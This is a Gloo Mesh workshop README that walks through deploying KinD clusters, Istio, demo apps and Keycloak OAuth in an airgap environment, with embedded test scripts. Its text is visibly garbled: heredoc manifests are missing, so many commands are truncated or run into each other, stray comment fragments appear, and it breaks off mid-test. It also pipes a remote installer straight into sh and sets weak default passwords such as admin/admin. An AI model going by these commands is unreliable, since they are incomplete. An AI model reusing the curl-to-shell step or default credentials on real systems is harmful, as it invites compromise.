provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy KinD clusters + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=mgmt +export CLUSTER1=cluster1 +export CLUSTER2=cluster2 +``` + +Run the following commands to deploy three Kubernetes clusters using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy-multi-with-calico.sh 1 mgmt +./scripts/deploy-multi-with-calico.sh 2 cluster1 us-west us-west-1 +./scripts/deploy-multi-with-calico.sh 3 cluster2 us-west us-west-2 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh mgmt +./scripts/check.sh cluster1 +./scripts/check.sh cluster2 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + +You can see that your currently connected to this cluster by executing the `kubectl config get-contexts` command: + +``` +CURRENT NAME CLUSTER AUTHINFO NAMESPACE + cluster1 kind-cluster1 cluster1 +* cluster2 kind-cluster2 cluster2 + mgmt kind-mgmt kind-mgmt +``` + +Run the following command to make `mgmt` the current cluster. + +```bash +kubectl config use-context ${MGMT} +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/install-cni:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + +Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane: + + + +```bash +export ENDPOINT_GLOO_MESH=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-mgmt-server -o jsonpath='{.status.loadBalancer.ingress[0].*}'):9900 +export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH%:*}) +export ENDPOINT_TELEMETRY_GATEWAY=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-telemetry-gateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):4317 +export ENDPOINT_GLOO_MESH_UI=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-ui -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8090 +``` + +Check that the variables have correct values: +``` +echo $HOST_GLOO_MESH +echo $ENDPOINT_GLOO_MESH +``` + + +Finally, you need to register the cluster(s). + +Here is how you register the first one: + +```bash +kubectl apply --context ${MGMT} -f - < ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER1} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER1} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER2} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER2} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.5.0 \ + -f -< ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Cluster registration", () => { + it("cluster1 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster1"); + }); + it("cluster2 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster2"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-and-register-gloo-mesh/tests/cluster-registration.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +export HOST_GW_CLUSTER2="$(kubectl --context ${CLUSTER2} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + +Now, run the following commands to deploy the bookinfo application on `cluster2`: + +```bash +kubectl --context ${CLUSTER2} create ns bookinfo-frontends +kubectl --context ${CLUSTER2} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions +kubectl --context ${CLUSTER2} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + -f data/steps/deploy-bookinfo/reviews-v3.yaml +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v3 CLUSTER_NAME=${CLUSTER2} + +``` + + + +Confirm that `v1`, `v2` and `v3` of the `reviews` service are now running in the second cluster: + +```bash +kubectl --context ${CLUSTER2} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER2} -n bookinfo-backends get pods +``` + +As you can see, we deployed all three versions of the `reviews` microservice on this cluster. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER2} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER2} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); +describe("Gloo Platform add-ons cluster2 deployment", () => { + let cluster = process.env.CLUSTER2 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt + +kubectl --context ${CLUSTER2} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 13 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 14 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + 